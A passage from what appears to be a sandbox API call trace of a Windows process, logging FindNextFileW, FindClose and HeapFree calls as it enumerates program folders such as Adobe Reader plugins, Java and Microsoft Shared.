lpFindFileData=0x2eaf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0191.504] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0191.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0191.504] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0191.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.504] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0191.504] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0191.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0191.505] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1 [0191.507] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0191.507] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1 [0191.511] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.511] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Plugins2", cAlternateFileName="")) returned 1 [0191.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.516] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0191.517] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.517] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0191.518] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.518] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0191.518] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0191.518] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0191.518] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ec69cf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e00a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdobeHunspellPlugin.dll", cAlternateFileName="ADOBEH~1.DLL")) returned 1 [0191.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.522] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0191.689] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.690] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0191.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0191.839] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0191.839] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0191.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0191.839] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f12e85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Dummy.aff", cAlternateFileName="")) returned 1 [0191.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0191.840] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0191.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0191.840] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0191.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0191.841] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0191.841] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0191.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0191.841] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SupplementalDictionaries", cAlternateFileName="SUPPLE~1")) returned 0 [0191.841] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0191.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0191.841] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHunspellPlugin", cAlternateFileName="ADOBEH~1")) returned 0 [0191.841] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0191.841] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0191.845] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Plugins2", cAlternateFileName="")) returned 0 [0191.845] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0191.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0191.846] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0 [0191.846] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0191.846] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0191.847] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0191.847] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0191.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.850] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0191.850] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0191.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0191.851] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 0 [0191.851] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0191.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0191.852] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0191.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.854] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0191.854] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0191.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0191.854] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0191.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.854] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ink", cAlternateFileName="")) returned 1 [0191.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.857] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0191.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.857] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0191.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.859] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0191.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.859] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0 [0191.859] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0191.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.859] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0191.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.860] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f4006c, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x16fbff39, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x47f4006c, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x52a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0191.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.860] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0191.938] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.938] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0191.940] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0191.940] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0191.940] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0191.940] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0191.940] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, 